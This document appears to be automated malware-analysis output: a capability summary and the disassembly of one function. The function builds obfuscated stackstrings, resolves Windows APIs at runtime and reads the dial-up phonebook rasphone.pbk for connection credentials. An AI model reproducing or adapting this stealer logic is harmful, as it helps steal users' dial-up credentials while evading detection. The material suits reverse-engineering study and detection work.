Function at 0x40b060
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x9fc
push ebx
push ebp
push esi
mov dword [esp + 0x148], ecx
lea eax, [esp + 0x20]
push edi
mov bl, 0x74
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 0x6c
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x72
mov byte [esp + 0x2c], 0x63
mov byte [esp + 0x2d], 0x61
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], 0x41
mov byte [esp + 0x30], 0
call fcn.00417640
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
lea ecx, [esp + 0x30]
mov dword [esp + 0x1c], eax
push ecx
lea ecx, [esp + 0x18]
mov byte [esp + 0x34], 0x47
mov byte [esp + 0x35], 0x65
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], 0x56
mov byte [esp + 0x38], 0x65
mov byte [esp + 0x39], 0x72
mov byte [esp + 0x3a], 0x73
mov byte [esp + 0x3b], 0x69
mov byte [esp + 0x3c], 0x6f
mov byte [esp + 0x3d], 0x6e
mov byte [esp + 0x3e], 0x45
mov byte [esp + 0x3f], 0x78
mov byte [esp + 0x40], 0x41
mov byte [esp + 0x41], 0
call fcn.00417640
push eax
call ebp
lea edx, [esp + 0x40]
lea ecx, [esp + 0x14]
push edx
mov dword [esp + 0x24], eax
mov byte [esp + 0x44], 0x47
mov byte [esp + 0x45], 0x65
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], 0x57
mov byte [esp + 0x48], 0x69
mov byte [esp + 0x49], 0x6e
mov byte [esp + 0x4a], 0x64
mov byte [esp + 0x4b], 0x6f
mov byte [esp + 0x4c], 0x77
mov byte [esp + 0x4d], 0x73
mov byte [esp + 0x4e], 0x44
mov byte [esp + 0x4f], 0x69
mov byte [esp + 0x50], 0x72
mov byte [esp + 0x51], 0x65
mov byte [esp + 0x52], 0x63
mov byte [esp + 0x53], bl
mov byte [esp + 0x54], 0x6f
mov byte [esp + 0x55], 0x72
mov byte [esp + 0x56], 0x79
mov byte [esp + 0x57], 0x41
mov byte [esp + 0x58], 0
call fcn.00417640
push eax
call ebp
mov esi, eax
mov byte [esp + 0xa8], 0x47
mov byte [esp + 0xa9], 0x65
mov byte [esp + 0xaa], bl
mov byte [esp + 0xab], 0x50
mov byte [esp + 0xac], 0x72
mov byte [esp + 0xad], 0x69
mov byte [esp + 0xae], 0x76
mov byte [esp + 0xaf], 0x61
mov byte [esp + 0xb0], bl
lea eax, [esp + 0xa8]
lea ecx, [esp + 0x14]
push eax
mov byte [esp + 0xb5], 0x65
mov byte [esp + 0xb6], 0x50
mov byte [esp + 0xb7], 0x72
mov byte [esp + 0xb8], 0x6f
mov byte [esp + 0xb9], 0x66
mov byte [esp + 0xba], 0x69
mov byte [esp + 0xbb], 0x6c
mov byte [esp + 0xbc], 0x65
mov byte [esp + 0xbd], 0x53
mov byte [esp + 0xbe], 0x65
mov byte [esp + 0xbf], 0x63
mov byte [esp + 0xc0], bl
mov byte [esp + 0xc1], 0x69
mov byte [esp + 0xc2], 0x6f
mov byte [esp + 0xc3], 0x6e
mov byte [esp + 0xc4], 0x4e
mov byte [esp + 0xc5], 0x61
mov byte [esp + 0xc6], 0x6d
mov byte [esp + 0xc7], 0x65
mov byte [esp + 0xc8], 0x73
mov byte [esp + 0xc9], 0x41
mov byte [esp + 0xca], 0
call fcn.00417640
push eax
call ebp
lea ecx, [esp + 0x8c]
mov dword [esp + 0x158], eax
push ecx
lea ecx, [esp + 0x18]
mov byte [esp + 0x90], 0x47
mov byte [esp + 0x91], 0x65
mov byte [esp + 0x92], bl
mov byte [esp + 0x93], 0x50
mov byte [esp + 0x94], 0x72
mov byte [esp + 0x95], 0x69
mov byte [esp + 0x96], 0x76
mov byte [esp + 0x97], 0x61
mov byte [esp + 0x98], bl
mov byte [esp + 0x99], 0x65
mov byte [esp + 0x9a], 0x50
mov byte [esp + 0x9b], 0x72
mov byte [esp + 0x9c], 0x6f
mov byte [esp + 0x9d], 0x66
mov byte [esp + 0x9e], 0x69
mov byte [esp + 0x9f], 0x6c
mov byte [esp + 0xa0], 0x65
mov byte [esp + 0xa1], 0x53
mov byte [esp + 0xa2], bl
mov byte [esp + 0xa3], 0x72
mov byte [esp + 0xa4], 0x69
mov byte [esp + 0xa5], 0x6e
mov byte [esp + 0xa6], 0x67
mov byte [esp + 0xa7], 0x41
mov byte [esp + 0xa8], 0
call fcn.00417640
push eax
call ebp
mov dword [esp + 0x148], eax
mov byte [esp + 0x58], 0x53
mov byte [esp + 0x59], 0x48
mov byte [esp + 0x5a], 0x47
mov byte [esp + 0x5b], 0x65
mov byte [esp + 0x5c], bl
mov byte [esp + 0x5d], 0x53
mov byte [esp + 0x5e], 0x70
mov byte [esp + 0x5f], 0x65
mov byte [esp + 0x60], 0x63
mov byte [esp + 0x61], 0x69
mov byte [esp + 0x62], 0x61
mov byte [esp + 0x63], 0x6c
mov byte [esp + 0x64], 0x46
mov byte [esp + 0x65], 0x6f
mov byte [esp + 0x66], 0x6c
mov byte [esp + 0x67], 0x64
mov byte [esp + 0x68], 0x65
mov byte [esp + 0x69], 0x72
mov byte [esp + 0x6a], 0x50
mov byte [esp + 0x6b], 0x61
lea edx, [esp + 0x58]
lea ecx, [esp + 0x14]
push edx
push str.SHELL32.dll
mov byte [esp + 0x74], bl
mov byte [esp + 0x75], 0x68
mov byte [esp + 0x76], 0x41
mov byte [esp + 0x77], 0
call fcn.004175d0
push eax
call ebp
mov dword [esp + 0x18], eax
lea eax, [esp + 0x2fc]
push 0x105
push eax
call esi
lea ecx, [esp + 0x2fc]
push 0x5c
push ecx
mov byte [esp + 0x78], 0x44
mov byte [esp + 0x79], 0x6f
mov byte [esp + 0x7a], 0x63
mov byte [esp + 0x7b], 0x75
mov byte [esp + 0x7c], 0x6d
mov byte [esp + 0x7d], 0x65
mov byte [esp + 0x7e], 0x6e
mov byte [esp + 0x7f], bl
mov byte [esp + 0x80], 0x73
mov byte [esp + 0x81], 0x20
mov byte [esp + 0x82], 0x61
mov byte [esp + 0x83], 0x6e
mov byte [esp + 0x84], 0x64
mov byte [esp + 0x85], 0x20
mov byte [esp + 0x86], 0x53
mov byte [esp + 0x87], 0x65
mov byte [esp + 0x88], bl
mov byte [esp + 0x89], bl
mov byte [esp + 0x8a], 0x69
mov byte [esp + 0x8b], 0x6e
mov byte [esp + 0x8c], 0x67
mov byte [esp + 0x8d], 0x73
mov byte [esp + 0x8e], 0x5c
mov byte [esp + 0x8f], 0x5c
mov byte [esp + 0x90], 0
lea edi, [esp + 0x78]
call dword [sym.imp.MSVCRT.dll_strchr]
mov edx, eax
add esp, 8
or ecx, 0xffffffff
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x2fc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x14c]
mov esi, dword [esp + 0x1c]
mov ecx, dword [edi + 0x14]
push ecx
push edx
call esi
mov byte [esp + 0xfc], 0x5c
mov byte [esp + 0xfd], 0x5c
mov byte [esp + 0xfe], 0x41
mov byte [esp + 0xff], 0x70
mov byte [esp + 0x100], 0x70
mov byte [esp + 0x101], 0x6c
mov byte [esp + 0x102], 0x69
mov byte [esp + 0x103], 0x63
mov byte [esp + 0x104], 0x61
mov byte [esp + 0x105], bl
mov byte [esp + 0x106], 0x69
mov byte [esp + 0x107], 0x6f
lea eax, [esp + 0xfc]
lea ecx, [esp + 0x2fc]
push eax
push ecx
mov byte [esp + 0x110], 0x6e
mov byte [esp + 0x111], 0x20
mov byte [esp + 0x112], 0x44
mov byte [esp + 0x113], 0x61
mov byte [esp + 0x114], bl
mov byte [esp + 0x115], 0x61
mov byte [esp + 0x116], 0x5c
mov byte [esp + 0x117], 0x5c
mov byte [esp + 0x118], 0x4d
mov byte [esp + 0x119], 0x69
mov byte [esp + 0x11a], 0x63
mov byte [esp + 0x11b], 0x72
mov byte [esp + 0x11c], 0x6f
mov byte [esp + 0x11d], 0x73
mov byte [esp + 0x11e], 0x6f
mov byte [esp + 0x11f], 0x66
mov byte [esp + 0x120], bl
mov byte [esp + 0x121], 0x5c
mov byte [esp + 0x122], 0x5c
mov byte [esp + 0x123], 0x4e
mov byte [esp + 0x124], 0x65
mov byte [esp + 0x125], bl
mov byte [esp + 0x126], 0x77
mov byte [esp + 0x127], 0x6f
mov byte [esp + 0x128], 0x72
mov byte [esp + 0x129], 0x6b
mov byte [esp + 0x12a], 0x5c
mov byte [esp + 0x12b], 0x5c
mov byte [esp + 0x12c], 0x43
mov byte [esp + 0x12d], 0x6f
mov byte [esp + 0x12e], 0x6e
mov byte [esp + 0x12f], 0x6e
mov byte [esp + 0x130], 0x65
mov byte [esp + 0x131], 0x63
mov byte [esp + 0x132], bl
mov byte [esp + 0x133], 0x69
mov byte [esp + 0x134], 0x6f
mov byte [esp + 0x135], 0x6e
mov byte [esp + 0x136], 0x73
mov byte [esp + 0x137], 0x5c
mov byte [esp + 0x138], 0x5c
mov byte [esp + 0x139], 0x70
mov byte [esp + 0x13a], 0x62
mov byte [esp + 0x13b], 0x6b
mov byte [esp + 0x13c], 0x5c
mov byte [esp + 0x13d], 0x5c
mov byte [esp + 0x13e], 0x72
mov byte [esp + 0x13f], 0x61
mov byte [esp + 0x140], 0x73
mov byte [esp + 0x141], 0x70
mov byte [esp + 0x142], 0x68
mov byte [esp + 0x143], 0x6f
mov byte [esp + 0x144], 0x6e
mov byte [esp + 0x145], 0x65
mov byte [esp + 0x146], 0x2e
mov byte [esp + 0x147], 0x70
mov byte [esp + 0x148], 0x62
mov byte [esp + 0x149], 0x6b
mov byte [esp + 0x14a], 0
call esi
push 0
lea edx, [esp + 0x508]
push 0x23
push edx
push 0
call dword [esp + 0x28]
mov byte [esp + 0xc8], 0x4d
mov byte [esp + 0xc9], 0x69
mov byte [esp + 0xca], 0x63
mov byte [esp + 0xcb], 0x72
mov byte [esp + 0xcc], 0x6f
mov byte [esp + 0xcd], 0x73
mov byte [esp + 0xce], 0x6f
mov byte [esp + 0xcf], 0x66
mov byte [esp + 0xd0], bl
mov byte [esp + 0xd1], 0x5c
mov byte [esp + 0xd2], 0x5c
lea eax, [esp + 0xc8]
lea ecx, [esp + 0x504]
push eax
push ecx
lea edx, [esp + 0x50c]
push str._s_s
push edx
mov byte [esp + 0xe3], 0x4e
mov byte [esp + 0xe4], 0x65
mov byte [esp + 0xe5], bl
mov byte [esp + 0xe6], 0x77
mov byte [esp + 0xe7], 0x6f
mov byte [esp + 0xe8], 0x72
mov byte [esp + 0xe9], 0x6b
mov byte [esp + 0xea], 0x5c
mov byte [esp + 0xeb], 0x5c
mov byte [esp + 0xec], 0x43
mov byte [esp + 0xed], 0x6f
mov byte [esp + 0xee], 0x6e
mov byte [esp + 0xef], 0x6e
mov byte [esp + 0xf0], 0x65
mov byte [esp + 0xf1], 0x63
mov byte [esp + 0xf2], bl
mov byte [esp + 0xf3], 0x69
mov byte [esp + 0xf4], 0x6f
mov byte [esp + 0xf5], 0x6e
mov byte [esp + 0xf6], 0x73
mov byte [esp + 0xf7], 0x5c
mov byte [esp + 0xf8], 0x5c
mov byte [esp + 0xf9], 0x70
mov byte [esp + 0xfa], 0x62
mov byte [esp + 0xfb], 0x6b
mov byte [esp + 0xfc], 0x5c
mov byte [esp + 0xfd], 0x5c
mov byte [esp + 0xfe], 0x72
mov byte [esp + 0xff], 0x61
mov byte [esp + 0x100], 0x73
mov byte [esp + 0x101], 0x70
mov byte [esp + 0x102], 0x68
mov byte [esp + 0x103], 0x6f
mov byte [esp + 0x104], 0x6e
mov byte [esp + 0x105], 0x65
mov byte [esp + 0x106], 0x2e
mov byte [esp + 0x107], 0x70
mov byte [esp + 0x108], 0x62
mov byte [esp + 0x109], 0x6b
mov byte [esp + 0x10a], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [esp + 0x268]
lea eax, [esp + 0x2fc]
lea ecx, [esp + 0x504]
push edx
mov dword [esp + 0x160], eax
mov dword [esp + 0x164], ecx
mov dword [esp + 0x26c], 0x94
call dword [esp + 0x24]
mov eax, dword [esp + 0x278]
mov esi, 2
cmp eax, esi
jne 0x40b97f
cmp dword [esp + 0x26c], 5
jb 0x40b97f
mov ecx, edi
call fcn.0040af30
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov ebx, eax
mov dword [esp + 0x150], ebx
push str.lstrlenA
push 0x427080
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebp
mov dword [esp + 0x154], eax
lea eax, [esp + 0x15c]
mov dword [esp + 0x144], eax
mov dword [esp + 0x1c], esi
mov ecx, 0x400
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x144]
mov esi, dword [ecx]
push esi
push 0x1000
push ebx
mov dword [esp + 0x2c], esi
call dword [esp + 0x164]
mov al, byte [ebx]
mov ebp, ebx
test al, al
je 0x40bc5f
jmp 0x40b9f9
mov esi, dword [esp + 0x20]
mov ebx, dword [esp + 0x14c]
push ebp
mov ecx, ebx
call fcn.0040c130
mov dword [esp + 0x18], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x404]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x80c]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x60c]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x70c]
push esi
lea edx, [esp + 0x408]
rep stosd dword es:[edi], eax
push 0x100
push edx
mov ecx, 0x40
lea edi, [esp + 0x918]
push eax
push str.DialParamsUID
rep stosd dword es:[edi], eax
push ebp
call dword [esp + 0x160]
test eax, eax
jle 0x40bb38
mov eax, dword [ebx + 0x10]
xor edi, edi
test eax, eax
jle 0x40bb38
mov dword [esp + 0x10], edi
mov eax, dword [esp + 0x10]
mov edx, dword [ebx + 0x1c]
add eax, edx
lea ecx, [esp + 0x404]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x40babd
mov ecx, dword [esp + 0x10]
mov eax, dword [ebx + 0x10]
inc edi
add ecx, 0x301
cmp edi, eax
mov dword [esp + 0x10], ecx
jl 0x40ba89
jmp 0x40bb38
mov eax, dword [ebx + 0x1c]
lea edx, [edi + edi*2]
shl edx, 8
add edx, edi
or ecx, 0xffffffff
add edx, eax
xor eax, eax
lea esi, [esp + 0x80c]
lea edi, [edx + 0x200]
mov dword [esp + 0x10], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [edx + 0x100]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea esi, [esp + 0x60c]
sub edi, ecx
mov eax, ecx
mov dword [esp + 0x10], esi
mov esi, edi
mov edi, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x20]
mov byte [edx + 0x300], 1
inc dword [ebx + 8]
mov ecx, 0x3e
xor eax, eax
lea edi, [esp + 0x170]
mov byte [esp + 0x164], 0x50
mov byte [esp + 0x165], 0x68
mov byte [esp + 0x166], 0x6f
mov byte [esp + 0x167], 0x6e
mov byte [esp + 0x168], 0x65
mov byte [esp + 0x169], 0x4e
mov byte [esp + 0x16a], 0x75
mov byte [esp + 0x16b], 0x6d
mov byte [esp + 0x16c], 0x62
mov byte [esp + 0x16d], 0x65
mov byte [esp + 0x16e], 0x72
mov byte [esp + 0x16f], 0x30
push esi
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x14c]
lea ecx, [esp + 0x710]
push 0x100
push ecx
lea edx, [esp + 0x170]
push eax
push edx
push ebp
call edi
push esi
lea eax, [esp + 0x910]
push 0x100
push eax
push 0
push str.Device
push ebp
call edi
lea ecx, [esp + 0x90c]
push ecx
mov ecx, ebx
call fcn.0040c130
lea edx, [esp + 0x80c]
mov ecx, ebx
push edx
mov edi, eax
call fcn.0040c130
mov edx, dword [esp + 0x18]
mov esi, eax
lea eax, [esp + 0x70c]
push edi
lea ecx, [esp + 0x610]
push eax
push ecx
push esi
lea eax, [esp + 0x414]
push edx
push eax
mov ecx, ebx
call fcn.0040bca0
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00423fc0
push esi
call fcn.00423fc0
push edi
call fcn.00423fc0
add esp, 0xc
push ebp
call dword [esp + 0x158]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x40b9f5
mov ebx, dword [esp + 0x150]
mov ecx, dword [esp + 0x144]
mov eax, dword [esp + 0x1c]
add ecx, 4
dec eax
mov dword [esp + 0x144], ecx
mov dword [esp + 0x1c], eax
jne 0x40b9c1
push ebx
call fcn.00423fc0
add esp, 4
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x9fc
ret